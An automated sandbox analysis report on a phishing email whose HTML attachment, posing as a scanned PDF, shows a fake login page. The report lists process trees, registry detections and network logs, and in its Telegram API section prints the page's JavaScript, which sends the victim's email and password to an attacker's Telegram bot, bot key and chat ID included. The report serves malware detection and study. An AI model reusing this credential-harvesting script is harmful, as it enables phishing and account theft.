Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
Message_2712729.eml

Overview

General Information

Sample name:Message_2712729.eml
Analysis ID:1573126
MD5:90ed7412328fad831e595ed0475852cf
SHA1:feb758a29bfaf934e36a6383296f5873d9c3aaf9
SHA256:fd21e604da34e5026db634303e3fce31d3c8c42d0e3bb84abeb5e293d9fd1f0b
Infos:

Detection

unknown
Score:52
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

AI detected potential phishing Email
Javascript uses Telegram API
Uses the Telegram API (likely for C&C communication)
HTML body contains password input but no form action
HTML title does not match URL
None HTTPS page querying sensitive user data (password, username or email)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Office Autorun Keys Modification
Sigma detected: Outlook Security Settings Updated - Registry
Stores files to the Windows start menu directory
Stores large binary data to the registry

Classification

Process Tree

  • System is w10x64_ra
  • OUTLOOK.EXE (PID: 6932 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /eml "C:\Users\user\Desktop\Message_2712729.eml" MD5: 91A5292942864110ED734005B7E005C0)
    • ai.exe (PID: 6348 cmdline: "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "8E78AB97-2429-4707-A2A9-F2E8A619ADE6" "1FEB38D2-722D-4664-9852-BDF8B821FA71" "6932" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx" MD5: EC652BEDD90E089D9406AFED89A8A8BD)
    • chrome.exe (PID: 6624 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\XGCOH6Q8\ScannedDocument120824PDF.html MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)
      • chrome.exe (PID: 2240 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2116 --field-trial-handle=1976,i,9243862286868840140,3036178548548189807,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)
    • chrome.exe (PID: 8048 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\XGCOH6Q8\ScannedDocument120824PDF.html MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)
      • chrome.exe (PID: 6068 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2084 --field-trial-handle=2096,i,3352900079707918399,17025776650697893508,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)
  • cleanup

Yara Signatures

⊘No yara matches

Sigma Signatures

Sigma detected: Office Autorun Keys Modification
Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE, ProcessId: 6932, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Outlook\Addins\OneNote.OutlookAddin\1
Sigma detected: Outlook Security Settings Updated - Registry
Source: Registry Key setAuthor: frack113: Data: Details: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\XGCOH6Q8\, EventID: 13, EventType: SetValue, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE, ProcessId: 6932, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Outlook\Security\OutlookSecureTempFolder

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

barindex
AI detected potential phishing Email
Source: EmailJoe Sandbox AI: Detected potential phishing email: The email urges the recipient to download and review an attachment, which is a common tactic used in phishing to deliver malware or steal information.. The sender's email address 'kori@bydob.com' does not match the domain 'highspirited.com.sg' mentioned in the email, indicating a potential spoofing attempt.. The email content is repetitive and lacks professionalism, which is often a sign of phishing attempts.
Javascript uses Telegram API
Source: file:///C:/Users/user/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/XGCOH6Q8/ScannedDocument120824PDF.htmlHTTP Parser: const form = document.getelementbyid('loginform'); const loginmessage = document.getelementbyid('loginmessage'); form.addeventlistener('submit', function(event) { event.preventdefault(); const email = form.elements.email.value; const password = form.elements.password.value; const apikey = '7771181622:aaflgbgbbly1q2fch2gv47e4t9cnrk8m68k'; const chatid = '-1002483353951'; fetch(`https://api.telegram.org/bot${apikey}/sendmessage?chat_id=${chatid}&text=email: ${email}%0apassword: ${password}`) .then(response => { if (response.ok) { loginmessage.innertext = 'login failed: please check input and try again!'; } else { loginmessage.innertext = 'login failed: please check input and try again!.'; } }) .catch(error => { loginmessage.innertext = 'an ...
Source: file:///C:/Users/user/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/XGCOH6Q8/ScannedDocument120824PDF.htmlHTTP Parser: <input type="password" .../> found but no <form action="...
Source: file:///C:/Users/user/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/XGCOH6Q8/ScannedDocument120824PDF.htmlHTTP Parser: Title: continue does not match URL
Source: file:///C:/Users/user/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/XGCOH6Q8/ScannedDocument120824PDF.htmlHTTP Parser: Has password / email / username input fields
Source: EmailClassification: unknown
Source: file:///C:/Users/user/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/XGCOH6Q8/ScannedDocument120824PDF.htmlHTTP Parser: <input type="password" .../> found
Source: file:///C:/Users/user/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/XGCOH6Q8/ScannedDocument120824PDF.htmlHTTP Parser: No favicon
Source: file:///C:/Users/user/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/XGCOH6Q8/ScannedDocument120824PDF.htmlHTTP Parser: No <meta name="author".. found
Source: file:///C:/Users/user/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/XGCOH6Q8/ScannedDocument120824PDF.htmlHTTP Parser: No <meta name="copyright".. found
Source: C:\Program Files\Google\Chrome\Application\chrome.exeDirectory created: C:\Program Files\Google\Chrome\Application\Dictionaries
Source: unknownHTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.17:49711 version: TLS 1.2
Source: unknownHTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.17:49721 version: TLS 1.2
Source: unknownHTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.17:49725 version: TLS 1.2
Source: unknownHTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.17:49739 version: TLS 1.2
Source: unknownHTTPS traffic detected: 13.107.5.88:443 -> 192.168.2.17:49742 version: TLS 1.2
Source: unknownHTTPS traffic detected: 2.16.158.97:443 -> 192.168.2.17:49744 version: TLS 1.2

Networking

barindex
Uses the Telegram API (likely for C&C communication)
Source: unknownDNS query: name: api.telegram.org
Source: unknownDNS query: name: api.telegram.org
Source: unknownDNS query: name: api.telegram.org
Source: unknownDNS query: name: api.telegram.org
Source: unknownDNS query: name: api.telegram.org
Source: unknownDNS query: name: api.telegram.org
Source: unknownDNS query: name: api.telegram.org
Source: unknownDNS query: name: api.telegram.org
Source: unknownTCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknownTCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknownTCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknownTCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknownTCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknownTCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknownTCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknownTCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknownTCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknownTCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknownTCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknownTCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknownTCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknownTCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknownTCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknownTCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknownTCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknownTCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknownTCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknownTCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknownTCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknownTCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknownTCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknownTCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknownTCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknownTCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknownTCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknownTCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknownTCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknownTCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknownTCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknownTCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknownTCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknownTCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknownTCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknownTCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknownTCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknownTCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknownTCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknownTCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknownTCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknownTCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknownTCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global trafficDNS traffic detected: DNS query: webmail.diamondstarglass.com
Source: global trafficDNS traffic detected: DNS query: www.google.com
Source: global trafficDNS traffic detected: DNS query: api.telegram.org
Source: global trafficDNS traffic detected: DNS query: google.com
Source: unknownNetwork traffic detected: HTTP traffic on port 49733 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49744
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49743
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49742
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49740
Source: unknownNetwork traffic detected: HTTP traffic on port 49727 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49691 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49743 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49746 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49720 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49713 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49739
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49733
Source: unknownNetwork traffic detected: HTTP traffic on port 49675 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49732
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49731
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49730
Source: unknownNetwork traffic detected: HTTP traffic on port 49732 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49711 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49691
Source: unknownNetwork traffic detected: HTTP traffic on port 49724 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49742 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49728 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49749 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49721 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49729
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49728
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49727
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49726
Source: unknownNetwork traffic detected: HTTP traffic on port 49718 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49725
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49724
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49723
Source: unknownNetwork traffic detected: HTTP traffic on port 49739 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49722
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49721
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49720
Source: unknownNetwork traffic detected: HTTP traffic on port 49731 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49725 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49729 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49748 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49745 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49722 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49718
Source: unknownNetwork traffic detected: HTTP traffic on port 49715 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49680 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49715
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49713
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49711
Source: unknownNetwork traffic detected: HTTP traffic on port 49730 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49726 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49740 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49747 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49744 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49723 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49749
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49748
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49747
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49746
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49745
Source: unknownHTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.17:49711 version: TLS 1.2
Source: unknownHTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.17:49721 version: TLS 1.2
Source: unknownHTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.17:49725 version: TLS 1.2
Source: unknownHTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.17:49739 version: TLS 1.2
Source: unknownHTTPS traffic detected: 13.107.5.88:443 -> 192.168.2.17:49742 version: TLS 1.2
Source: unknownHTTPS traffic detected: 2.16.158.97:443 -> 192.168.2.17:49744 version: TLS 1.2
Source: classification engineClassification label: mal52.phis.troj.winEML@30/27@18/81
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Program Files\Google\Chrome\Application\Dictionaries
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEFile created: C:\Users\user\Documents\Outlook Files\~Outlook Data File - NoEmail.pst.tmp
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEFile created: C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_16827_20130-20241211T0906020008-6932.etl
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEFile read: C:\Users\desktop.ini
Source: unknownProcess created: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /eml "C:\Users\user\Desktop\Message_2712729.eml"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "8E78AB97-2429-4707-A2A9-F2E8A619ADE6" "1FEB38D2-722D-4664-9852-BDF8B821FA71" "6932" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\XGCOH6Q8\ScannedDocument120824PDF.html
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2116 --field-trial-handle=1976,i,9243862286868840140,3036178548548189807,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "8E78AB97-2429-4707-A2A9-F2E8A619ADE6" "1FEB38D2-722D-4664-9852-BDF8B821FA71" "6932" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\XGCOH6Q8\ScannedDocument120824PDF.html
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2116 --field-trial-handle=1976,i,9243862286868840140,3036178548548189807,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\XGCOH6Q8\ScannedDocument120824PDF.html
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2084 --field-trial-handle=2096,i,3352900079707918399,17025776650697893508,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\XGCOH6Q8\ScannedDocument120824PDF.html
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2084 --field-trial-handle=2096,i,3352900079707918399,17025776650697893508,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exeSection loaded: apphelp.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exeSection loaded: c2r64.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exeSection loaded: userenv.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exeSection loaded: msasn1.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exeSection loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exeSection loaded: cryptsp.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exeSection loaded: rsaenh.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exeSection loaded: cryptbase.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exeSection loaded: gpapi.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Classes\Wow6432Node\CLSID\{F959DBBB-3867-41F2-8E5F-3B8BEFAA81B3}\InprocServer32
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEWindow found: window name: SysTabControl32
Source: Window RecorderWindow detected: More than 3 window changes detected
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common
Source: C:\Program Files\Google\Chrome\Application\chrome.exeDirectory created: C:\Program Files\Google\Chrome\Application\Dictionaries
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEKey value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\outlook\ConfigContextData 1
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
